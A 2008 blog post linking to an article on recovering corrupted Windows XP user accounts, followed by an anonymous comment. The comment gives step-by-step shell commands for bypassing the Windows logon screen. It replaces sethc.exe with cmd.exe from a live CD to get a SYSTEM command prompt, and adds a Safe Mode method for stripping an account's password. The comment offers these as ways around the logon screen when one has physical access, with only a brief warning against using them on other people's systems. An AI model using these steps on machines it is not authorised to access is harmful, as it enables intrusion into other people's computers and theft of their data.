Thursday, August 28, 2008

How to fix or recover User Account in XP

I came along this article by Greg Shultz of TechRepublic that goes along with my recent video on User accounts. A very good read if you've had your User Account come up with an error or become corrupt and your unable to recover or log on to your account with all your precious data.

1 comment:

Anonymous said...

There are many ways to bypass Windows Logon Screen if you have physical access to machine. I prefer the the infamous sethc.exe trick

All you need is Live CD that supports Captive NTFS i.e. Backtrack. Here we go:

mkdir /mnt/ntfs
mount -t captive-ntfs /dev/hda1 /mnt/ntfs
cd /mnt/ntfs/windows/system32
mv sethc.exe sethc.old; cp cmd.exe sethc.exe
cd ~
umount /mnt/ntfs
shutdown –r now

Boot into Windows and press SHIFT five (5) times. Command Prompt with SYSTEM privileges will pop-up. Game over

If this doesn't work praparly we need to follow our old trick..

(This works only when there is no password for Administrator account).
Start windows in Safe mode.
While entering into the windows it shows
Administrator account
Your account
Click on administrator account
Then you can enter into windows in safe mode
Go to control panel
Open user accounts
Click up on your account
Clik on “remove password”
Reboot windows.
Then you can enter into Your account without password.
It is only one method of troubleshooting. Don’t do this on other’s system.